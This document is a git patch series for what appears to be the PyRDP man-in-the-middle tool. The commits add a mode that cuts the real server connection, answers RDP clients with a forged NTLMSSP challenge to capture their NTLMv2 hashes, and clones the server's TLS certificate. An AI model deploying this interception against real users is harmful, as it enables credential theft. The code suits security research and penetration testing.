nameLen = len(workstation) - pairsLen = self.writePayload(stream, workstation, nameLen) - - stream.write(b'NTLMSSP\x00') # signature - stream.write(Uint32LE.pack(self.messageType)) # message type - stream.write(Uint16LE.pack(nameLen)) # workstation length - stream.write(Uint16LE.pack(nameLen)) # workstation max length - stream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)) # workstation buffer offset - stream.write(Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS)) # negotiate flags - stream.write(self.serverChallenge) # server challenge - stream.write(Uint64LE.pack(0)) # reserved - stream.write(Uint16LE.pack(pairsLen)) # target info len - stream.write(Uint16LE.pack(pairsLen)) # target info max len - stream.write(Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen)) # target info buffer offset - stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH)) # product major version - stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW)) # product minor version - stream.write(Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT)) # product build - stream.write(Uint8.pack(0)) # reserved - stream.write(Uint8.pack(0)) # reserved - stream.write(Uint8.pack(0)) # reserved - stream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT)) # NTLM revision current - - self.writeASN(stream) - return stream.getvalue() - - def writeASN(self, stream: BytesIO): - message = stream.getvalue() - messageLen = len(message) - - # ASN.1 description - # SEQUENCE (2 elem) - # [0] (1 elem) - # INTEGER 5 - # [1] (1 elem) - # SEQUENCE (1 elem) - # SEQUENCE (1 elem) - # [0] (1 elem) - # OCTET STRING (...) - stream.seek(0) - stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(ber.writeLength(messageLen + 25)) - stream.write(b'\xa0' + ber.writeLength(3)) - stream.write(ber.writeInteger(NTLMSSPChallengeVersion.CREDSSP_VERSION)) # CredSSP version - stream.write(b'\xa1' + ber.writeLength(messageLen + 16)) - stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(ber.writeLength(messageLen + 12)) - stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) - stream.write(ber.writeLength(messageLen + 8)) - stream.write(b'\xa0' + ber.writeLength(messageLen + 4)) - stream.write(ber.writeOctetString(message)) - - def writePayload(self, stream: BytesIO, workstation: bytes, length: int): - pairsLen = 0 - offset = stream.tell() - - stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) - stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID)) - pairsLen += stream.write(Uint16LE.pack(length)) - pairsLen += stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID)) - pairsLen += stream.write(Uint16LE.pack(length)) - pairsLen += stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID)) - pairsLen += stream.write(Uint16LE.pack(length)) - pairsLen += stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID)) - pairsLen += stream.write(Uint16LE.pack(length)) - pairsLen += stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID)) - pairsLen += stream.write(Uint16LE.pack(length)) - pairsLen += stream.write(workstation) - pairsLen += stream.write(Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID)) - pairsLen += stream.write(Uint16LE.pack(0)) - stream.seek(offset) - - return pairsLen +class NTLMSSPChallengePayloadPDU(PDU): + def __init__(self, workstation: str): + super().__init__() + self.workstation = workstation class NTLMSSPAuthenticatePDU(NTLMSSPPDU): def __init__(self, user: str, domain: str, proof: bytes, response: bytes): @@ -114,3 +38,13 @@ def __init__(self, user: str, domain: str, proof: bytes, response: bytes): self.domain = domain self.proof = proof self.response = response + +class NTLMSSPTSRequestPDU(PDU): + """ + PDU for TSRequest structures used by CredSSP (client/server) for SPNEGO and Kerberos/NTLM messages + """ + def __init__(self, version: int, negoTokens: BytesIO): + super().__init__() + self.version = version + self.negoTokens = negoTokens + diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index 073fca3e6..39f708f86 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -46,10 +46,10 @@ def getRandChallenge(self): return decode(challenge, 'hex') def onUnknownHeader(self, header, data: bytes): - messageOffset = self.ntlmSSPParser.findMessage(data) + signatureOffset = self.ntlmSSPParser.findMessage(data) - if messageOffset != -1: - message: NTLMSSPPDU = self.ntlmSSPParser.parse(data[messageOffset:]) + if signatureOffset != -1: + message: NTLMSSPPDU = self.ntlmSSPParser.parse(data) self.ntlmSSPState.setMessage(message) if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.catch: @@ -62,7 +62,7 @@ def onUnknownHeader(self, header, data: bytes): self.ntlmSSPState = NTLMSSPState() self.ntlmSSPState.setMessage(challenge) self.ntlmSSPState.challenge.serverChallenge = randomChallenge - data = challenge.write('WINNT') + data = self.ntlmSSPParser.writeNTLMSSPChallenge('WINNT', randomChallenge) if message.messageType == NTLMSSPMessageType.AUTHENTICATE_MESSAGE: message: NTLMSSPAuthenticatePDU From 373b20451d49ed23373454b0f86c32429c0bcc82 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 09:55:56 -0600 Subject: [PATCH 06/24] Correct `readContextTag()` description --- pyrdp/core/ber.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyrdp/core/ber.py b/pyrdp/core/ber.py index c40de6313..1c524b4f3 100644 --- a/pyrdp/core/ber.py +++ b/pyrdp/core/ber.py @@ -141,9 +141,9 @@ def writeApplicationTag(tag: Tag, size: int) -> bytes: else: return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size) -def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> bool: +def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> int: """ - Unpack contextual tag and return True if the proper tag was read. + Unpack contextual tag and return the tag length. :param s: stream :param tag: BER tag :param isConstruct: True if a construct is expected From 9896157715a12f5eab6160272ee2a06f60c4d4df Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 10:06:32 -0600 Subject: [PATCH 07/24] Rewording: catch to capture --- pyrdp/mitm/RDPMITM.py | 6 +++--- pyrdp/mitm/X224MITM.py | 6 +++--- pyrdp/mitm/state.py | 4 ++-- pyrdp/security/nla.py | 6 +++--- 4 files changed, 11 insertions(+), 11 deletions(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index 0b861bc01..520597884 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -218,7 +218,7 @@ async def connectToServer(self): self.log.error("Failed to connect to recording host: timeout expired") def doClientTls(self): - if not self.state.ntlmCatch: + if not self.state.ntlmCapture: cert = self.server.tcp.transport.getPeerCertificate() if not cert: # Wait for server certificate @@ -239,7 +239,7 @@ def doClientTls(self): # Add unknown packet handlers. ntlmSSPState = NTLMSSPState() - if self.state.ntlmCatch: + if self.state.ntlmCapture: self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), True)) else: self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) @@ -252,7 +252,7 @@ def startTLS(self, onTlsReady: typing.Callable[[], None]): self.onTlsReady = onTlsReady # Establish TLS tunnel with target server... - if not self.state.ntlmCatch: + if not self.state.ntlmCapture: contextForServer = ClientTLSContext() self.server.tcp.startTLS(contextForServer) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 55d2dfbaa..906c0ab7b 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -132,10 +132,10 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): self.onConnectionRequest(self.originalConnectionRequest) return else: - # Respond with a RDP negotiation answer to proceed and catch NTLM - self.log.info("Server requires CredSSP. Closing connection with server and attempting to catch NTML hashes.") + # Respond with a RDP negotiation answer to proceed and capture NTLM hashes + self.log.info("Server requires CredSSP. Closing connection with server and attempting to capture NTLM hashes.") payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) - self.state.ntlmCatch = True + self.state.ntlmCapture = True self.disconnector() else: diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 6ae6b10a5..bb6f1d507 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -87,8 +87,8 @@ def __init__(self, config: MITMConfig, sessionID: str): self.effectiveTargetPort = self.config.targetPort """Port for the effective host""" - self.ntlmCatch = False - """Hijack connection from server and catch NTML hash""" + self.ntlmCapture = False + """Hijack connection from server and capture NTML hash""" self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index 39f708f86..2cac778ce 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -24,7 +24,7 @@ class NLAHandler(SegmentationObserver): This also logs the hash of NLA connection attempts. """ - def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCatch: bool = False): + def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCapture: bool = False): """ Create a new NLA Handler. sink: layer to forward packets to. @@ -35,7 +35,7 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo self.sink = sink self.ntlmSSPState = state self.log = log - self.catch = ntlmCatch + self.capture = ntlmCapture self.ntlmSSPParser = NTLMSSPParser() def getRandChallenge(self): @@ -52,7 +52,7 @@ def onUnknownHeader(self, header, data: bytes): message: NTLMSSPPDU = self.ntlmSSPParser.parse(data) self.ntlmSSPState.setMessage(message) - if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.catch: + if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.capture: randomChallenge = self.getRandChallenge() self.log.info("NTLMSSP Negotiation") challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) From 48942034f3dbb478e4772d3cfd87597911fa6996 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 10:23:00 -0600 Subject: [PATCH 08/24] Deleting end of lines and adding documentation links --- pyrdp/enum/ntlmssp.py | 1 - pyrdp/parser/rdp/ntlmssp.py | 8 ++++++++ pyrdp/pdu/rdp/ntlmssp.py | 6 +++++- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index ef3fc67e5..0185f0ed6 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -41,4 +41,3 @@ class NTLMSSPChallengeVersion(IntEnum): NEG_PROD_MINOR_VERSION_LOW = 0x02 NEG_PROD_VERSION_BUILT = 0x0ECE NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3 - diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index 491fc24b3..812f65d73 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -156,6 +156,10 @@ def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> byt return stream.getvalue() def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes): + """ + Write NTLMSSP TSRequest for NEGOTIATION/CHALLENGE/AUTHENTICATION messages + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685 + """ negoLen = len(negoTokens) stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) @@ -171,6 +175,10 @@ def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes stream.write(ber.writeOctetString(negoTokens)) def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int: + """ + Write CHALLENGE message payload + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + """ length = len(workstation) stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 186ef1581..a86410522 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -27,6 +27,10 @@ def __init__(self, serverChallenge: bytes): self.serverChallenge = serverChallenge class NTLMSSPChallengePayloadPDU(PDU): + """ + Payload of CHALLENGE message containing a data array + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + """ def __init__(self, workstation: str): super().__init__() self.workstation = workstation @@ -42,9 +46,9 @@ def __init__(self, user: str, domain: str, proof: bytes, response: bytes): class NTLMSSPTSRequestPDU(PDU): """ PDU for TSRequest structures used by CredSSP (client/server) for SPNEGO and Kerberos/NTLM messages + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685 """ def __init__(self, version: int, negoTokens: BytesIO): super().__init__() self.version = version self.negoTokens = negoTokens - From 20fa5064c56e8b820fb6e8b767f5a732b743b08f Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 10:37:32 -0600 Subject: [PATCH 09/24] Move the capturing to NTLMSSPState --- pyrdp/mitm/RDPMITM.py | 10 ++++++---- pyrdp/security/nla.py | 5 ++--- pyrdp/security/ntlmssp.py | 1 + 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index 520597884..e765f3c76 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -239,11 +239,13 @@ def doClientTls(self): # Add unknown packet handlers. ntlmSSPState = NTLMSSPState() + self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) if self.state.ntlmCapture: - self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), True)) - else: - self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) - self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) + # We are capturing the NLA NTLMv2 hash + ntlmSSPState.ntlmCapture = True + return + + self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) def startTLS(self, onTlsReady: typing.Callable[[], None]): """ diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index 2cac778ce..640ad5370 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -24,7 +24,7 @@ class NLAHandler(SegmentationObserver): This also logs the hash of NLA connection attempts. """ - def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCapture: bool = False): + def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter): """ Create a new NLA Handler. sink: layer to forward packets to. @@ -35,7 +35,6 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo self.sink = sink self.ntlmSSPState = state self.log = log - self.capture = ntlmCapture self.ntlmSSPParser = NTLMSSPParser() def getRandChallenge(self): @@ -52,7 +51,7 @@ def onUnknownHeader(self, header, data: bytes): message: NTLMSSPPDU = self.ntlmSSPParser.parse(data) self.ntlmSSPState.setMessage(message) - if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.capture: + if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.ntlmSSPState.ntlmCapture: randomChallenge = self.getRandChallenge() self.log.info("NTLMSSP Negotiation") challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) diff --git a/pyrdp/security/ntlmssp.py b/pyrdp/security/ntlmssp.py index a8e83ebee..e959b0384 100644 --- a/pyrdp/security/ntlmssp.py +++ b/pyrdp/security/ntlmssp.py @@ -15,6 +15,7 @@ def __init__(self): self.negotiate: Optional[NTLMSSPNegotiatePDU] = None self.challenge: Optional[NTLMSSPChallengePDU] = None self.authenticate: Optional[NTLMSSPAuthenticatePDU] = None + self.ntlmCapture: bool = False def setMessage(self, pdu: NTLMSSPPDU): if pdu.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE: From 1129bbbaac672c2cc9be7911cc5ef0a02c457054 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 10:44:00 -0600 Subject: [PATCH 10/24] Replace `random` with `secrets` for random bits generation --- pyrdp/security/nla.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index 640ad5370..ce6719427 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -6,7 +6,7 @@ import logging from codecs import decode -from random import getrandbits +from secrets import randbits from pyrdp.enum import NTLMSSPMessageType from pyrdp.layer import SegmentationObserver, IntermediateLayer @@ -41,7 +41,7 @@ def getRandChallenge(self): """ Generate a random 32-bit challenge """ - challenge = b'%016x' % getrandbits(16 * 4) + challenge = b'%016x' % randbits(16 * 4) return decode(challenge, 'hex') def onUnknownHeader(self, header, data: bytes): From 367ee65d604614e56f06c81ef7b3109d9c04fe55 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 17 Nov 2021 15:42:44 -0600 Subject: [PATCH 11/24] Oops --- pyrdp/mitm/RDPMITM.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index e765f3c76..cfee73a2d 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -239,12 +239,13 @@ def doClientTls(self): # Add unknown packet handlers. ntlmSSPState = NTLMSSPState() - self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) if self.state.ntlmCapture: # We are capturing the NLA NTLMv2 hash ntlmSSPState.ntlmCapture = True + self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) return + self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) def startTLS(self, onTlsReady: typing.Callable[[], None]): From 9904758a355efc6088c960c9685c4e6e8652e4db Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 18 Nov 2021 12:27:00 -0600 Subject: [PATCH 12/24] Reverting 20fa506 and using keyword --- pyrdp/mitm/RDPMITM.py | 3 +-- pyrdp/security/nla.py | 7 ++++--- pyrdp/security/ntlmssp.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index cfee73a2d..e9f6848a8 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -241,8 +241,7 @@ def doClientTls(self): ntlmSSPState = NTLMSSPState() if self.state.ntlmCapture: # We are capturing the NLA NTLMv2 hash - ntlmSSPState.ntlmCapture = True - self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) + self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), ntlmCapture=True)) return self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index ce6719427..8f3b6b759 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -24,7 +24,7 @@ class NLAHandler(SegmentationObserver): This also logs the hash of NLA connection attempts. """ - def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter): + def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCapture: bool = False): """ Create a new NLA Handler. sink: layer to forward packets to. @@ -34,8 +34,9 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo super().__init__() self.sink = sink self.ntlmSSPState = state - self.log = log self.ntlmSSPParser = NTLMSSPParser() + self.ntlmCapture = ntlmCapture + self.log = log def getRandChallenge(self): """ @@ -51,7 +52,7 @@ def onUnknownHeader(self, header, data: bytes): message: NTLMSSPPDU = self.ntlmSSPParser.parse(data) self.ntlmSSPState.setMessage(message) - if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.ntlmSSPState.ntlmCapture: + if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.ntlmCapture: randomChallenge = self.getRandChallenge() self.log.info("NTLMSSP Negotiation") challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) diff --git a/pyrdp/security/ntlmssp.py b/pyrdp/security/ntlmssp.py index e959b0384..d6d3485ee 100644 --- a/pyrdp/security/ntlmssp.py +++ b/pyrdp/security/ntlmssp.py @@ -15,7 +15,6 @@ def __init__(self): self.negotiate: Optional[NTLMSSPNegotiatePDU] = None self.challenge: Optional[NTLMSSPChallengePDU] = None self.authenticate: Optional[NTLMSSPAuthenticatePDU] = None - self.ntlmCapture: bool = False def setMessage(self, pdu: NTLMSSPPDU): if pdu.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE: @@ -24,3 +23,4 @@ def setMessage(self, pdu: NTLMSSPPDU): self.challenge = pdu else: self.authenticate = pdu + From 98cc3001a58833be8b0d4373f7fdef2f23ccdd79 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Thu, 18 Nov 2021 14:05:09 -0600 Subject: [PATCH 13/24] PEP8 stuff --- pyrdp/pdu/rdp/ntlmssp.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index a86410522..55372bf18 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -52,3 +52,4 @@ def __init__(self, version: int, negoTokens: BytesIO): super().__init__() self.version = version self.negoTokens = negoTokens + From 6a560c08b5a565f3006843db549a3e440d29d306 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Tue, 23 Nov 2021 10:24:31 -0600 Subject: [PATCH 14/24] Fix missing definitions and misc. --- pyrdp/parser/rdp/ntlmssp.py | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index 812f65d73..1e52a0507 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -8,6 +8,7 @@ from typing import Callable, Dict from pyrdp.core import ber, Uint8, Uint16LE, Uint32LE, Uint64LE +from pyrdp.exceptions import UnknownPDUTypeError, ParsingError from pyrdp.parser.parser import Parser from pyrdp.pdu import NTLMSSPChallengePayloadPDU, NTLMSSPTSRequestPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, \ NTLMSSPNegotiatePDU, NTLMSSPPDU @@ -100,15 +101,15 @@ def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSReques length = ber.readLength(stream) if length > len(stream.getvalue()): raise ParsingError("Invalid size for TSRequest (got %d, %d bytes left)" % (length, len(stream.getvalue()))) - + version = None negoTokens = None - + # [0] version if not ber.readContextualTag(stream, 0, True): return NTLMSSPTSRequestPDU(version, negoTokens, data) version = ber.readInteger(stream) - + # [1] negoTokens if not ber.readContextualTag(stream, 1, True): return NTLMSSPTSRequestPDU(version, negoTokens, data) @@ -117,22 +118,22 @@ def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSReques ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem ber.readLength(stream) ber.readContextualTag(stream, 0, True) - + negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData return NTLMSSPTSRequestPDU(version, negoTokens) def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU: - stream.read(workstationLen) + workstation = stream.read(workstationLen) return NTLMSSPChallengePayloadPDU(workstation) def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> bytes: stream = BytesIO() substream = BytesIO() - + workstation = workstation.encode('utf-16le') nameLen = len(workstation) pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation) - + substream.write(b'NTLMSSP\x00') # signature substream.write(Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE)) # message type substream.write(Uint16LE.pack(nameLen)) # workstation length @@ -151,7 +152,7 @@ def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> byt substream.write(Uint8.pack(0)) # reserved substream.write(Uint8.pack(0)) # reserved substream.write(Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT)) # NTLM revision current - + self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue()) return stream.getvalue() @@ -161,7 +162,7 @@ def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685 """ negoLen = len(negoTokens) - + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) stream.write(ber.writeLength(negoLen + 25)) stream.write(ber.writeContextualTag(0, 3)) @@ -204,5 +205,6 @@ def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int stream.write(Uint16LE.pack(0)) pairsLen = stream.tell() - pairsLen stream.seek(0) - + return pairsLen + From 527a03b1cb66c9d9a110ec43682d14e09f6ca0b1 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Wed, 24 Nov 2021 15:20:59 -0600 Subject: [PATCH 15/24] Fix SSL certificate cloning --- pyrdp/mitm/RDPMITM.py | 14 ++++++-------- pyrdp/mitm/X224MITM.py | 24 +++++++++++++++--------- 2 files changed, 21 insertions(+), 17 deletions(-) diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index e9f6848a8..bef29d6c4 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -218,11 +218,10 @@ async def connectToServer(self): self.log.error("Failed to connect to recording host: timeout expired") def doClientTls(self): - if not self.state.ntlmCapture: - cert = self.server.tcp.transport.getPeerCertificate() - if not cert: - # Wait for server certificate - reactor.callLater(1, self.doClientTls) + cert = self.server.tcp.transport.getPeerCertificate() + if not cert: + # Wait for server certificate + reactor.callLater(1, self.doClientTls) # Clone certificate if necessary. if self.certs: @@ -254,9 +253,8 @@ def startTLS(self, onTlsReady: typing.Callable[[], None]): self.onTlsReady = onTlsReady # Establish TLS tunnel with target server... - if not self.state.ntlmCapture: - contextForServer = ClientTLSContext() - self.server.tcp.startTLS(contextForServer) + contextForServer = ClientTLSContext() + self.server.tcp.startTLS(contextForServer) # Establish TLS tunnel with client. reactor.callLater(1, self.doClientTls) diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index 906c0ab7b..9c9c7f093 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -83,6 +83,9 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU): # Tell the server we only support the allowed authentication methods. chosenProtocols &= self.state.config.authMethods + if not self.state.ntlmCapture: + chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP + modifiedRequest = NegotiationRequestPDU( self.originalNegotiationRequest.cookie, self.originalNegotiationRequest.flags, @@ -99,6 +102,7 @@ async def connectToServer(self, payload: bytes): Awaits the coroutine that connects to the server. :param payload: the connection request payload """ + await self.connector() self.server.sendConnectionRequest(payload = payload) @@ -118,31 +122,33 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): response = parser.parse(pdu.payload) if isinstance(response, NegotiationFailurePDU): if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER: + + # Disconnect from current server + self.disconnector() + if self.state.canRedirect(): self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", { "redirectionHost": self.state.config.redirectionHost, "redirectionPort": self.state.config.redirectionPort }) - # Disconnect from current server - self.disconnector() - # Use redirection host and replay sequence starting from the connection request 